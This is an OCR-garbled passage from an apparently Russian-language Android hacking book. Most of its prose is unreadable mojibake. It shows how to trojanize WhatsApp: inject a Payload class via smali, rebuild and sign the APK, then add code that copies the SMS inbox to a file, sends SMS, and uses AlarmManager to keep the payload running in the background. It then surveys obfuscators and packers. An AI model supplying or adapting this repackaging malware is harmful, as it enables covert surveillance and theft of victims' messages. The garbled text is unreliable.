Kako# xe xon Mbl BHeapum B WhatsApp? [Insg Havana 3acTaBUM €ro BbIBECTH Ha 3KpaH
coobueHune «Hi from malware!». OueHb npocTas B peanuzauuu pyHkuUUs, KOTOpas rMo-
3BOJIMT ObICTPO MPOBEPHTH, UTO BCe pabOTAET Tak, KAk Mbl U paccUUThIBaIU. Mbl He Oy-
JEM BCTaBJATh B KOJA OTAE€NbHble KYyCKH smali-koga, a BMECTO 3TOro co3faiiM HOBBIH
K/1acc, METOAbl KOTOpOro y>ke v Oyzaem BbI3biBaTh M3 koga WhatsApp. Takoi moaxon
ropaszo 6onee yno6eH v Mo3BoJsAET KaK YroAHO pacIiUpATh GYHKLUHOHANBHOCTh MPHIIO-
MKEHHs, BHOCS B €r0 OPUrMHAIIbHBIA KOJ MHHUMAaJIbHBIE H3MEHEHH.

Pwuc. 7.3. Npocrenwmwir payload

Hrak, orkpbiBaeM Android Studio, cozgaeM HoBblii npoekt, B noje Application name
nHLeM Whatsapp, a B nosie Company domain — com. TakuM oGpa3om, cpena pa3paboTku
caMa pa3MeCTUT Hall Kjacc B nakere com.whatsapp, TouHO Tak k€, Kak B OpUTMHaJIb-
HoM npunoxkeHuu. [Tpu BeiGope THna akTuBHOCTH (Add an activity) BbiGupaem Add No
Activity. B nieBoli yacTu s3kpaHa pa3BopaunMBaeM CIUCOK app — java — com.whatsapp
W C MOMOLIBIO MPAaBOH KHOMKH MbILIK co3AaeM HOBBIH knacc Payload (puc. 7.3). lo6ae-
JISIEM B HErO CeLYyIOIIHE CTPOKH:

| java |

package com.whatsapp;

1mport android.content.Context;
import android.widget.Toast;
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public class Payload {
public static void run(Activity activity) {
Toast.makeText (context, "Hi from malware!", Toast.LENGTH_LONG).show();

OTO M €CTh Halll KJAaCcC C €AUHCTBEHHbIM CTATUYECKHM METOIOM, KOTOPbI# MPOCTO BBIBO-
JMT Ha 3kpaH coobuieHue. Tenepb Kiacc HEOOXOAUMO CKOMIMIMPOBaTH W TPaHCIHPO-
Batb B O6alTkon Dalvik. C nomowpto cpenbl paspabotky 6e3 TaHueB ¢ 6yGHOM 3To cae-
J1aTh HEe YAAcTCs, MO3TOMY BbIMOJIHUM 3Ty OMNepauuio U3 KOMaHIHON CTPOKH.

Jlns Havyana co3ganuM B ~/tmp KaTalioroBYK CTPYKTYPY, aHAJIOTHYHYIO OpPUTHHAIBHOMY
NPHIIOKEHHIO, U CKOMUPYEM B Hee HCXOMHbIN KOJ KJlacca:

$ mkdir -p com/whatsapp

$ cp ~/AndroidstudioProjects/Whatsapp/app/src/main/java/com/whatsapp/Payload.java com/
whatsapp

Teneps ckomnunupyem ero u TpaHcaupyem B koa Dalvik:

$ javac -classpath ~/Android/android-sdk-linux/platforms/android-29/android.jar com/
whatsapp/*.java

$ ~/Android/android-sdk-linux/build-tools/29.0.2/dx --dex --output=Payload.dex com/
whatsapp/*.class

B Texyuwem karanore (~/tmp) JOMKEH NOABUTHCA (aiiyl Payload.dex. Ero Heobxoaumo au-
3acceMOaMpoBaTh:

$ baksmali Payload.dex

3aTeM ero cieayeT CKOMMpOBaThb B KATalol C paHee AM3acceMOIMPOBaHBIM KOJOM
WhatsApp:

$ cp out/com/whatsapp/*.small whatsapp/smali/com/whatsapp

Burstzsaem payload

Tenepb B an3accembanposanHoM koae WhatsApp ecTb Halll k1ace, OCTanoch TOJNBKO Bbl-
3BaTh €ro CTaTMYECKUH METOA run(). YTOOBI 3TO caenarth, AOCTATOYHO A0OaBHTHL Cre-
AYIOLLYIO CTPOKY Ky/a-TO B Hayalo MeTOAa onCreate ()

smali

invoke-static {p0}, Lcom/whatsapp/Payload;->run(Landroid/app/Activity;)V

Ha Java atot kon Bbirnsaesn Obl Tak:

java

Payload.run(this);
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To ecTb HHCTPYKUHMA 1nvoke-static, MO CYyTH, UMECT TAKOH BHA:

1nvoke-static {aprymenT}, LuMa wyacca;->UMA_MeToha (TMI_apTyMeHTa; )
TMIT_BO3BPAllaeMOTO_3HaueHMs

Peructp po, KOTOpBIA MBI Nepeaany B KauyecTBe apryMeHTa, BCErja CChblnaeTcs Ha TeKy-
LM 0OBEKT M SKBUBAJIEHTEH KIIIOUYEBOMY CJIOBY this B Java. Tekyiuuit o6beKT B AaHHOM
cilyuae UMeeT kiacc Activity, Mbl mepeaaeM ero MeToAy run () HalIero kiacca, 4ToObl OH
CMOT MCIOJIb30BaTh €ro AMs BbIBOAA COOOUIEHHs Ha 3kpaH (puc. 7.4).

Puc. 7.4. Metoa OnCreate() ¢ Hawmm KOAOM

Bce, octanock Tonbko cobpats WhatsApp o6patHo B APK M noanucarb TECTOBBIM KJltO-
yom:

cd ~/tmp/whatsapp

apktool b

cd ..

cp whatsapp/dist/whatsapp.apk whatsapp-payload.apk
sign whatsapp-payload.apk

v v W» v »n

[MonyueHHbIH Qain whatsapp-payload.s.apk 3aKMIbIBa€M Ha KapTy MaMsTH M yCTaHaBIH-
BaeM (puc. 7.5).
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Pwuc. 7.5. Cpabotano!

Kpanem aaHHbre

Kakoit xke 3T0 3710Bpen, eclii BMECTO KpaKH JIMUHOH MHGOpPMALIMH OH TONbKO U JeJIaeT,
yto coobuiaer o ce6e? Takoi 3m0Bpen coBceM He 3JI0BpeAHBIH, MOITOMY ceHdac Mbl Cy-
IIECTBEHHO pacUIMPpUM BO3MOXXHOCTH Hauiero payload. OH Hukak He Oyner BbloaBaThb
CBOETro MPUCYTCTBHS, @ BMECTO 3TOr0 NMPOCTO CKHHET Bce BXoasiune SMS B daiin Ha kap-
T€ NaMATH:

| java

public class Payload {
public static void run(Activity activity) {

Cursor cursor = activity.getContentResolver().
query (Uri.parse ("content://sms/inbox"), null, null, null, null);

try |
PrintWriter pw = new PrintWriter (new BufferedWriter (new FileWriter (
Environment.getExternalStorageDirectory().getPath() + "/sms.txt", false))):
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if (cursor != null && cursor.moveToFirst()) {
do {
String address = null;
String date = null;
String body = null;
for (int idx = 0; idx < cursor.getColumnCount (); idx++) {
switch (cursor.getColumnName (idx)) {
case "address":
address = cursor.getString(idx);
break;
case "date":
date = cursor.getString(idx);
break;
case "body":
body = cursor.getString(idx);

}
pw.println("From: " + address);
SimpleDateFormat formatter = new SimpleDateFormat ("yyyy.MM.dd HH:mm:ss");
String dateString = formatter.format (new Date(Long.valueOf (date)));
pw.println("Date: " + dateString);
pw.println("Body: " + body);
pw.println();
} while (cursor.moveToNext());

}

pw.close();

cursor.close();

} catch (Exception e) {}

JaHHbl# ko1 ynTaeT 6a3y naHHBIX SMS U 3anMchIBaeT Ha KapTy NMaMaTH KpPacHBBIH Tek-
CTOBBIH Qain sms.txt (puc. 7.6), conepxamuit SMS B popmare:

From: Homep
Date: mara
Body: TekcT

IMpu Heo6XOAUMOCTH KOA MOXHO JOMOJHHUTh, YTOOBI (ain cpazy ciIMBaJICA Ha yHalieH-
HBbI# cepBep, a 3aTeM YHUYTOXaNCA, 1abbl He ocTaBiATh cefoB. YTobbl kox 3apabora,
B MaHu(ecT npuiokeHus (~/tmp/whatsapp/AndroidManifest.xml) HEOOXOOHUMO A0OAaBHUTH
pa3pelleHre Ha ureHue SMS:

| xml

<uses-permission android:name="android.permission.READ SMS"/>
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Puc. 7.6. ®aitn sms txt, cChOpMUPOBAHHBIW HALWUM KOAOM

Janee ocTaeTcs TONIBKO CKOMITUJIMPOBATL KJ1acc, MeperHath B smali, CKONMUpoBaTh B NpH-
JI0XKeHHWe, coOpaTh U MOAMKMCATDb €ro, TaK XK€ Kak Mbl JIe1ali 3TO B MPEbIAYLIEM pa3/ic/ie
OpranusoBats oTnipaBky SMS Ha KOpPOTKHI HOMEp U TOro npouue:

| java

public class Payload {
public static void run(Activity activity) ({
PackageManager pm = actvity.getPackageManager () ;
if (!pm.hasSystemFeature (PackageManager.FEATURE TELEPHONY) )
return;

SmsManager.getDefault () .sendTextMessage ("HOMEP TEJIEGOHA", null,
"TEKCT COOBUEHMA", null, nu.. .,

[TpryeM B 3TOM cilyyae aaxke He HAlO MPaBUTh AndroidManifest.xml — NpaBa Ha OTHPAB-
Ky SMS y WhatsApp yxe ects.

B LEJIOM BCE€ NMPOCTO, HO €CTh OAHO 6oNbIIOE «HOM! HCIIO B TOM, 4YTO ABa NPHUBCIACHHLIX
BbILIE€ KYCKa Koaa 6yLIyT OTJIMYHO pa60TaTb TOJIBKO A0 TE€X NMOPp, NOKa Bbl HE YCTAHOBUTEC
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xakHyThlii WhatsApp Ha cMapTdoH noa ynpasneHieM Android 6.0 u Beie. CneacteuemM
9TOrO CTaHeT MaJieHHe MPHIOKEHHA Ha CTapTe, a NMPUYHHA B TOM, UYTO IIECTEpPKa» Tpe-
Oyer sBHOro 3ampoca npas (B TOM uHcie Ha yreHMe SMS U 3anuck Ha kapTy NamsATH),
nepea TeM Kak GYHKUMH, 3allMILIEHHbIE STUMH NpaBaMH, OyTyT UCIIONB30BaHBbI.

M 3neck Mbl onazaeM B OHY He OYEHb NPHUATHYIO CHTYalMIO. 3anpOCUTh NpaBa Mbl MO-
’KEM, BOT TOJIbKO caMa CHCTeMa 3anpoca MpaBa pealH30BaHa HE B HAILly IOJIb3Yy, MOTOMY
kak cobOpiTHe «[lonb3oBatens Haxan “Jla”» MoxeT ObITh 00pabOTaHO TOJBKO aKTHB-
HOCTbKO TNPHUJIOXKEHHSA C INOMOIUBIO koJnbeka onRequestPermissionsResult (). }:[pyI‘HMl/l
CJIOBaMHM, MPUAETCA BHOCHTh U3MEHEHHS B CaM Main.smali.

Ho ectp croco6 mpoie ¥ npumuTHBHEee. Ha camoM nene, HaM coBceM He 00s3aTesIbHO
JOXKHIATHCA, MOKA MOJb30BaTeNb HaXkMeT KHonky «Jla» nnu «Het», nocne Haxarus cuc-
TeMa TaK WM WHaye JM60 JacT pa3pellieHHe Ha BBIMOIHEHHE ONepaLuH, JH60 3ampeTHT
ee. [loaToMy MBI MOXKEM MpPOCTO MOAOXKAATH M MOCJE 3TOrO NMPOBEPHTh, €CTh JIH y HAC
HY>XHbIE MpaBa:

java

public class Payload {
public static void run(Activity activity) {
if (android.os.Build.VERSION.SDK INT >= 23) {
if (!'requestPermission(activity))
return;
}
// ...kom MeToma run() M3 NpembOywWero npuMepa.. .

}

@TargetApi (23)
private static boolean requestPermission (Activity activity) {

if (activity.checkSelfPermission(Manifest.permission.READ SMS) !=
PackageManager.PERMISSION GRANTED) {

activity.requestPermissions (new String[]{Manifest.permission.READ SMS,
Manifest.permission.WRITE EXTERNAL STORAGE}, 123);

try {
Thread.sleep (10 * 1000);
} catch (Exception e) {}

return activity.checkSelfPermission(Manifest.permission.READ SMS) ==
PackageManager.PERMISSION GRANTED;
} else {
return true;

JaHHbI# koA npoBepseT, 3amylueH 14 oH B Android 6 wiu Beie (API 23), u ecau na, To
3aIyCKaeT KOJ 3alpoca pa3pelleHHi Ha yreHHe SMS M 3anMch Ha KapTy naMsTu. 3aTeM
3acbinaer Ha 10 cekyHJ, a MpOChINasCch, MPOBEPSET, €CTh JIM MpaBa (T. €. HaXXall JIH l03ep
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«[a»). Ecnu ectb, oTpabaThiBaeT y>ke 3HaAKOMBIH HaM KOI, HET — HHYEro He INpOMC-
XOJHT.

[MpodeccHoHanbHbie MPOrpaMMHUCTBI COXPYT MEHS JKUBBEM 3a YCHIIUIEHHE OCHOBHOTO
NOTOKA NMPHJIOXKEHHS, HO MBI 3[1Ch HE Ha YEMITHOHATE MO NMPaBHIbHOMY KOJMPOBaHHIO.
Mp1 — xakepsl, ¥ TOTOMY I8 Hac rnaBHoe, 4ToObl payload orpaboran, ocranbHOe Hac
He HHTEpeCyeT.

TTepuoauueckue 3anaum

OcHoBHas npo6GiieMa Tekyuied peanuzaunu payload 3akmodaercs B ToM, YTo OH Oyner
3allyLEH TOJIbKO BO BPEMS x0n100Ho20 cmapma MPWIOXKEHHUA, T. €. MPH MEPBOM 3aIrycke,
CTapTe nocne nepe3arpy3ku JMO0 mociie Toro, Kak npHjioxeHHe OyIeT BHITECHEHO U3
NaMATH cucTeMoil. s eaMHOpa3oBoit 3aga4yu 310 HopMaiibHO. Ho uTO, ecnu Mbl XOTHM,
4yto6BI Hall 3710Bpex paboTtan B ¢poHe?

Jlns 3T0ro MOXKHO HCNOJIL30BaTh CepBUC. TO €cTh ceLUHanbHbIH MOTOK, KOTOPBIA Oyner
BHCETh B OHE M Je1aTh HY)XKHYIO HaM paboTy. OqHako 11s Hallei 3aJa4M 3TO CIIMILKOM
n30bITOuHOE peuieHHe. ['opazno yno6Hee ucronb3oBath AlarmManager — cneunanbHyo
noacucteMy Android, Mo3BoOJAIOLIYIO 3aITyCKaTh HYXHBIH KOJ Yepe3 OrnpeAeeHHbIE HH-
TepBajibl BpeMeHH. B ominume ot cepucoB, AlarmManager He TpeGyeT Moaudukauuu
AndroidManifest, nocratouHo npocto npuBecTH koa kiacca Payload k cnemyroemy
BULY:

java I

public class Payload extends BroadcastReceiver (
public static void run(Activity activity) {
AlarmManager am = (AlarmManager) activity.getSystemService (Context.ALARM SERVICE);
Intent intent = new Intent (activity, Payload.class);
PendingIntent pIntent = PendingIntent.getBroadcast (activity, 0, intent, 0);

am. setInexactRepeating (AlarmManager .ELAPSED REALTIME WAKEUP,
SystemClock.elapsedRealtime(), 60 * 1000, pIntent);

}

@Override
public void onReceive (Context context, Intent intent) {
// ...3NOBpeIHEMt KOI...

Meroa run() ycraHaBnuBaeT Alarm, KOTOpBIH NO/MKEH cpabaThIBaTh KaXKIYO MHHYTY
(60 * 1000 MunnMceKyHI) M 3amyckaTh KOJ, YKa3aHHBIH B METOZE onReceive (). Kpacora
3TOro NMOAXOAa B TOM, YTO MOCJ€e YCTAaHOBKH Alarm'a oH Oynet cpabaTbsiBaTh BHE 3aBHCH-
MOCTH OT TOrO, 3aIyLUECHO JIH NMpwiokeHHe. To ecTh, eciM MoNb30BaTeNb 3aMyCTUIT XaK-
HyTeli WhatsApp, 3aTeM 3akpbLl €ro, a cucrema 3asepiuwia WhatsApp npu HexBatke
NaMATH, OH BHOBB OyeT 3amy1leH B ¢poHe, koraa cpaboraer Alarm.
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TTpoaupaemcsa
ckBO3b 06(PyCLUMUPOBAHHLIUA KOA

[Npeabiaylume aBe raaBbl HArJAIHO MOKa3bIBAlOT, HACKOJIBKO JIETKO B31IOMaTh H MOAUGH-
uupoBath npuinoxeHue s Android. OgHako He Bcerza 3To cTousb ke npocto. Hekoro-
pbie pa3paboTYMKH NPUMEHSIOT 06¢ycKaTOpbl U CHCTEMBI IIHGPOBaHHA, KOTOPbIE MOTYT
CYILIECTBEHHO OCIO)KHHMTb )XH3Hb PE€BEPC-HH)KEHEPA, MO3TOMY MBI NIOFOBOPHM O TOM, KaK
pa3obpaTbcsi B HAMEPEHHO 3allyTaHHOM KOAE, a 3a0[HO B3JIOMaeM €lle OJHO MPHJIO-
KEHHE.

Kak pabotaer obgpyckauus

Ha caMoM jene, Bbl Yy)Xe OO/DKHBI OBITH 3HAKOMBI KaKk MHHHMMYM C OJHHM METOJOM
o6¢yckauuu (3amyTbiBaHHA) koaa. EC/IM mocjie npoyTeHus npeapiayuX ABYX IJIaB Bbl
caMH MpoOOBaIH IeKOMMWIMPOBATH pa3iH4Hble MPHIOXKEHHS, TO HABEPHAKA 3aMETHIIH,
YTO B HEKOTOPBIX CJyyasX KJIacChl MPHJIOKEHHS, €r0 METOABI H MOJIi UMEIOT CTPaHHbIE
MMeHa, Bpole «aay», «ab» nubo yro-ro Hanopobue «2F323988Cy», ecnu cmoTperh koA
C MOMOLIBIO IeKOMNUIIATOpa jadx.

3710 U ecTb 06¢ycKalus, U 1 MOTY C MOJHOH YBEPEHHOCThIO YTBEPXKIATh, YTO NPOAEIaHa
OHa ¢ moMoublo HHCTpyMeHTa ProGuard u3 koMruiekta Android Studio. MIMeHHO OH BbI-
JaeT Ha BbIXO/le TAKHe CTPaHHBIE UIMEHA KJIaCCOB, METOJIOB M MOJIeH, a KpOMe TOro, yaa-
JISE€T HEHUCNONb3yeMblH KO M ONTMHU3UPYET HEKOTOPHIE YYACTKH NPHJIOKEHHSA C TMOMO-
b0 HHJIAHHUHIA METOAOB.

[MpomywenHsIit yepe3 ProGuard kox 6onee koMnakTeH, 3aHHMaeT MEHbLLE MaMATH M Ha-
MHOro GoJiee cioxeH s noHMMaHus. Ho Tonbko B TOM cityyae, eciii NpUIIoXKeHHe 10c-
TaTO4HO KPYIHOE.

Pa3zobpatbcs, yro Aenaet npocToit 06¢ycLUHpOBaHHBIN KO, OYEHb JIETKO:

java

public int a(int a, int b) {
return a + b;
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Ho npeacrasrete, uto 6yaer, ecnu U3 nogoOHBIX OyKBEHHBIX, LIHGPOBBIX WK OYKBEHHO-
uMdpoBeix 0603HayeHHi (ProGuard no3Bonser UCnonb30BaTh MO0 CIIOBaph VIS reHe-
palMH HAEHTUDHUKATOPOB) OyIeT COCTOATh POMO3/IKOE MPHIOXKEHHE U3 JAECATKOB ThICAY
CTPOK KoJa:

I java

if (this.£6259xa29£3207 != null) (
this.£6259xa29£3207.m9502x15f0el8c (false) ;
this.f6259xa29£3207 = null;

}

if (this.f6269x98c88933 != null)
this.£6269x98c88933.m9388x97b0al38 () ;
this.f6269x98c88933 = null;

U Tak Ha TBHICAYM CTpPOK BIIEpEN, a Aa/IbLI€ Balll OEKOMIIWIATOP MOXET MONEPXHYTHCA
KOJIOM M BBIJIATh BMECTO Java HeuTo BpOA€ 3TOro.

java

/* JADX WARNING: inconsistent code. */
/* Code decompiled incorrectly, please refer to instructions dump. */
private synchronized void m8713x6e6c3e67 () {

/*

rlé = this;

rl4 = 0;

rl = 2;

r9 = 0;
rl2 = 500; // 0x1f4 float:7.0E-43 double:2.47E-321;
ré = 1;

HenypHo, He npaBaa nu? A Tenepb NpeACTaBbTE, YTO 3TH CTPOKHU COCTOAT HE U3 OOBIY-
HBIX CUMBOJIOB andaBuTa, a u3 cumBosioB Unicode (Tak aenaer DexGuard — kommepye-
ckas Bepcus ProGuard) wnm mocnemoBarenbHOCTeH Bpoae 11111, MOBTOPSAIOIUMXCSA pa3
3TaKk NAThAECAT. Pa3paboTyuk Bno/MIHE MOXKET MPUMEHHTH M OoJiee MOIIHBIE CpeacTBa
o6dyckaluMy, HAINMMroBaB NpHIOXKEHHe GeccMBICIeHHBIM KoaoM. Tako# koa He Oyner
BBITNOJIHATL HUKAKHX MOJIE3HBIX (YHKLHIA, HO NMOBEJET BaC COBEPLIEHHO HE B Ty CTOPOHY,
YTO 'PO3HT KaK MMHUMYM NOTeped BpEMEHH.

He >xenas TepATb BpeMs, Bbl MOXKETE€ HayaTh C MOHMCKa CTPOK, KOTOpble NMPHUBEIYT Bac
K LIeJIM: 3TO MOTYT OBITh pa3NM4YHble HAEHTHPUKATOPBI, C MOMOLIBIO KOTOPBIX MPHIOXKE-
HHE pEerucTpupyeT cebs Ha cepBepe; CTPOKH, 3anMchiBaeMble B KOHQUr MpH oruiare;
naposid M T. 1. OAHaKO BMECTO TaKMX CTPOK Bbl BIOJIHE MOXKETE YBHIETh HEUYTO BpoIe
3TOro:
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private static final byte[] zb = new byte(]{110, -49, 71, -112, 33, -6, -12, 12, -25,
-8, -33, 47, 17, -4, -82, 82, 4, -74, 33, -35, 18, 7, -25, 31};

D10 3aWMpoBaHHAsA CTPOKA, KOTOpas pacIIM(pOBHIBAETCS BO BPEMS HCIIOJHEHHMS MpH-
noxenus. [Tono6Hyto 3awmty npeanaraetr DexGuard, Allatory u MHorue apyrue o6dyc-
katopbl. OHa AeCTBUTENILHO CIIOCOOHA OCTAHOBHTH O4Y€Hb MHOTHX, HO COJIb B TOM, YTO
€c/iM eCTb 3allM(pPOBaHHBIA TEKCT, 3HAUMT, B KoJe HODKeH ObiTh M aewHpaTop. Ero
OY€Hb JIEFKO HAMTH ¢ MOMOILUBIO MOUCKA 10 UMEHH NMEPEeMEHHOH (B JaHHOM CITydae zb).
[py KaxaoM ee MCMNOJIb30BaHMM Bcerga OymeT BBI3BIBATBCS METOA, AeLIMpYrOIIHi
CTPOKY. BbIrnsiaeTh 370 MOXKET NMPUMEPHO Tak:

a(zb)

3neck MeTo a() Kilacca «a» — 3To U ecTh Aewndparop. [ToatoMy Bce, 4ro Tpebyercs
caenath, YToObl y3HATh, YTO BHYTPH 3alIM(POBAHHONH CTPOKH, — 3TO MPOCTO A06ABHUTH
B /1M3aCCEMOJIMPOBAHHBIA KO MPHIIOXKEHHA BbI30B (PYHKLHMH Log.d("DEBUG", a.a(zb)) H
coOpaTtb ero oopatHo. [Nocne 3amycka NpHIOXKEHHE CaMO BBIAACT B JIOT AeIIH(POBaHHYIO
cTpoKy. Jlor MOXXHO MPOCMOTPETh MO0 MOJIITIOYHB CMAPTHOH K KOMIBIOTEPY U BbI3BaB
KOMaHJy adb logcat, JIM60 ¢ momouusio mpunoxeHus CatLog (https://play.google.com/
store/apps/details?id=com.nolanlawson.logcat) nns Android (Tpe6yer root).

Hepenko, npaBna, MpUXOAUTCS MOMOTETh, YTOObI HAHTH AemMdpaTop. OH MOXET ObITH
BCTPOEH BO BoOJiHE 0e300MaHyI0 QYHKUMIO U AeIM(POBATh CTPOKY HEIBHO, MOXET CO-
CTOATH M3 HECKONbKMX (DYHKLMH, KOTOpble BBI3BIBAIOTCA Ha pa3HbIX 3Tamax paboThl O
crpokoii. Cama 3aiurpoBaHHas CTPOKa MOXET OBITh pa3dUTa Ha HECKOJBKO 6JI0KOB, KO-
TOpble cOOMPAIOTCS BMECTE BO BpeMs MCTIONHEHHs mpwioxkeHus. Ho camblif mmk — 3to
knacc-aewudpaTop BHyTpH Maccupal

DexGuard umeeT GYHKUMIO CKPBITHS KJ1acCOB, KOTOpas paboTaeT cleayroluM o6pa3oMm.
baiTkoa CKpbIBaEMOro Kjacca W3BJIEKAE€TCS M3 MPWIOKEHHA, CKMMAETC C INMOMOLIBIO
anroputma GZIP 1 3anuceiBaeTcss oOpaTHO B MpWiokeHHe B ¢opMe MaccuBa GaHT
(byte(]). Janee B npunaoxeHHe BHEAPAETCS 3arpy3uHMkK, KOTOPBIA M3BJIEKAET KOA Kiacca
H3 MacCHBa U ¢ NOMOLLBIO Pe(IEKCHH CO3AET Ha €ro OCHOBE OOBEKT, a 3aTE€M BbI3bIBAET
HyxcHble MeToabl. M koHeuHo xke, DexGuard ucnone3yer 3TOT TPIOK AJA CKpPBITHA J€-
wudparopa, a TaKke Koaa Apyrux KJIaccoB, KOTOpble 3axodeT pa3paboruuk. bonee Toro,
CKpbITbIE B MAacCHBaX KJIacChl MOTyT OBITH 3amucbponaﬂu C MOMOUIBIO CKPBITOTO B ApY-
rom maccuse aewndgparopa!

Tak 4To, €C/IM Bbl UMEETE N0 C MPUIOXKEHHEM, HMEHA KJIACCOB B KOTOPOM HaNMCaHbI Ha
KMTalCKOM A3bIKE WK C MOMOILbIO CMaiIMKOB, a MO KOAY pa30dpocaHbl CTpaHHbIE MAaCCH-
Bbl JUIMHOW OT HECKOJILKMX COT 3JIEMEHTOB JI0 JAECATKOB ThICAY, 3HaiTe — 31ech nopabo-
tan DexGuard.

C pediekcueli BMECTO MPSMOTrO BBI30Ba METOJOB OOBEKTA Bbl MOXKETE CTONKHYTHCA H
B JpyrMx OOCTOATENLCTBAX, HE CBS3aHHBIX CO CKpbITHEM KiaccoB. Pednexcus moxer

ObITb MCMOJIB30BaHa MpocTo Ans o6¢yckauuu (kak B ciydae ¢ od6dyckaropom Allatory).
B 5TOM ciiyyae BMeCTO Takoro koja:

java G I

StatusBarManager a = (StatusBarManager) context.getSystemService("statusbar");
statusBarManager .expandNotificationsPanel () ;



104 YACTb Il. naea 8

Bb1 yBHIUTE HEUTO BpoOJ€ 3TOro:

java

Object a = context.getSystemService ("statusbar");
Class.forName ("android. app.StatusBarManager") ;
Method c = b.getMethod ("expandNotificationsPanel");
c.invoke(a);

A ecnu ucnone3yercs WHPpoOBaHHE — 3TO:

java

Object a = context.getSystemService(z.z("c3RhdHVzYmFyCg=="));

Class<?> b = Class.forName (z.z ("YW5kcmSpZC5hcHAUU3RhdHVzQmFyTWFuYWdlcgo=") ) ;
Method ¢ = b.getMethod(z.z (ZXhwYW5kTm90aWZpY2F0aW9uclBhbmVsCg==) ) ;
c.invoke(a);

B naHHOM cityuae s 3akoqupoBal CTpokH B Base64, moaToMy HX JIerko «pacKoJHpOBaTh»

06paTHO C NMOMOLIbIO cnenylomeﬁ KOMAaHbI:

$ echo crpoka | base64 -d

Ho B peanbHOM NpHIOKEHHH BaM, CKOpee BCero, NpuaeTcs paciiugpoBaTh Bce 3TH CTPO-
KM C MOMOIIBIO OMUCAHHOTO BhIlIE CIOco0a MPOCTO MIA TOro, YTOObI MOHATH, KakKue

0OBEKTHI H MET OJbl BBI3bIBACT NPHUJIOXKCHHE BO BpEMA CBOEH paGOTbl.

AHAIIN3 UCIONb30BAHNS OE®YCKALIMH B NPUIOXEHNAX

A Large Scale Investigation of Obfuscation Use in Google Play (https://arxiv.org/pdf/
1801.02742.pdf) — nuccneposaHne Ha TeMy ucnonb3osaHus o6dyckaTopos pa3paborTum-
kamy npunoxeHdnn ans Android. Mo cocTtosHnio Ha sHBapb 2018 roaa Tonbko 24.9% npu-
NOXEHUW U3 NPoaHaNU3NpPOBaHHbIX 1,7 MMNNMOHa 6biNK 3awmweHsl o6dyckatopamu. U ato
nnoxas cutyaums, T.K. B mupe Android npouseTaeT TO, YTO Ha3biBaeTCs NepenakoBKOW
npunNoxeHni (Ha MaHep onucaHHon paHee nepenkoskn WhatsApp). MpocTbie undps:

o 86% TposiHoB aAnst Android — aTo nepenakoBaHHbie BepCUM OObIYHBIX NPUNOXEHWN;

e 13% npunoxeHun B CTOPOHHUX MapkeTax — nepenakoBaHHble BepCUU NPUNOXEHUN
Apyrux paspaboTunkoB (3a4acTylo C BKIIIOYEHUEM peKnamb!).

[pyrne pe3ynbTaThi UCCNEAOBAHUSA:
o 64.51% npunoxeHnin BkNOYaIOT Koa, 06dycumposaHHbin ¢ noMowbio ProGuard (He
06s3aTenbHO KOA CaMOro NPUOXEHUs, BO3MOXHO, koa 6ubnuoTtek);

e 0.16% mncnonb3yloT NPoABUHYTbIE TEXHUKU 0BMycKkaummn, Takue KaKk MCnonb3oBaHue 3a-
pe3epsupoBaHHbix B Windows kniovyeBbix crnos (tak genatot DexGuard u HekoTopble
koHdurypauum Allatory);

e 0.05% npunoxenun o6@dycunpoaHbl ¢ nomowybio DexGuard;
¢ 0.01% o6dycumposaHbl ¢ nomouwbio Bangle.
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Ynakoswmku

VnakoBIIMKH — 3TO APYroi BUI 3alMThl, OCHOBAHHbII HE Ha 3aIyThIBAaHHUH KOJA, a HA
€ro MoJIHOM CKPHITHM OT IJ1a3 peBepc-HHkeHepa. PabotatoT oHM Tak. OpHrHHaIBHBIA
Gbaiin classes.dex (Comepaluii KOA MPUIOKEHHS) MEPEUMEHOBBIBAETCA, LIMPpYeTC U
nepeMeLiaeTcs B Apyroi karanor BHyTpH nakera APK (31o MoxkeT OBITh KaTaior assets,
res WK M060OH Apyroi). Mecto OpUrMHAJIBHOTO classes.dex 3aHMMAeT paclaKOBLIMK,
3a/laya KOTOPOro — 3arpy3uTh B NaMATh OPUTHHAJIBHBIN classes.dex, paclIM(poBaTh ero
¥ nepenath eMy ynpaeieHde. s ycloxXHeHHs XKH3HH peBepcepa OCHOBHAs JIOTHKa pac-
NakoBLIMKa peayu3yercs Ha s3bike CH, KOTOPbI KOMIUWINpYETCS B HATUBHBIA kog ARM
C MpUMEHEHHEM CpeACTB 00(dyckanmu 1 3ammThl ot omiagky (gdb, ptrace).

Xopouui ynakoBIIUK CO3JaeT o4eHb 6osbLIMe Mpo6IeMBbl Ul aHAIH3a KOAA MPHIIoXKeE-
Hus. B pane ciyyaeB eqMHCTBEHHBII NeHCTBEHHBIH BapUaHT 60psOBI ¢ HUMH — 3TO CHA-
THEe JaMna NaMsATH Mpolecca M M3BJEYEHHE M3 HEro yxe paciiMppoBaHHOro Koja
classes.dex. Ho ecTh M XOpollMe HOBOCTH: yNaKOBLIUK HAaKIIaJAbIBAET CEPHE3HBIE OrPaHH-
YeHUs Ha (QPyHKLHMOHAIBHOCTH NPHJIOKEHUSA, MPUBOAUT K HECOBMECTUMOCTSM M YBENH-
YEHHOMY pacxoly MaMsATH. Tak yTo pa3paOOTYMKHU JIETMTUMHBIX NPHJIOKEHUH HUCMOJb-
3YIOT YMaKOBILMKH PEJIKO, 3aTO HX OYEHb JIFOOAT CO3aTeNIH Pa3HOTO poAa TPOSHOB.

B psge ciyyaeB BBIMUCIHTH Halnvue ynakosiudka B APK coBceM HetpynmHo. JlocTaTtou-
HO B3IVIAHYTh Ha COAEpXKMMOEe Karayora lib/armeabi. Ecnu Bbl Haiinere B HeM daiin
libapkprotect2.so — 3HA4UT, MpUMeHeH ynakoBuMk ApkProtect, gaiin libsecexe.so —
Bangle, libexecmain.so — ljiami. Bce 3TH ¢aiine — pacnakoBIIMKY.

OTtnenbHOro yNOMHMHaHHs 3aCTyXHBAcT CO3JaHHBIA OQHOW KMTaWCKOH KOMNaHHEH ymna-
koBIKK Qihoo. DEX-daiin 3anakoBaHHOro UM NMPUIOXKEHHUs BECUT OOJIbIIE YETHIPEX Me-
rabaiT, oJHaKo BCE, YTO OH JEJIaeT, — 3TO MepeAaeT ynpaBleHHe HaTHBHOH OubauoTeke.
OcTanbHyl0 4YacTh (aiina 3aHMMaeT AOMHCAHHBIA B ero KoHel 3amndpoBaHHbIA ¢par-
MEHT.

3arpy>xeHHas HaTHBHas OMONMOTEKa BBIMOJHAET HECKONBKO MPOBEPOK, He paboTaeT U
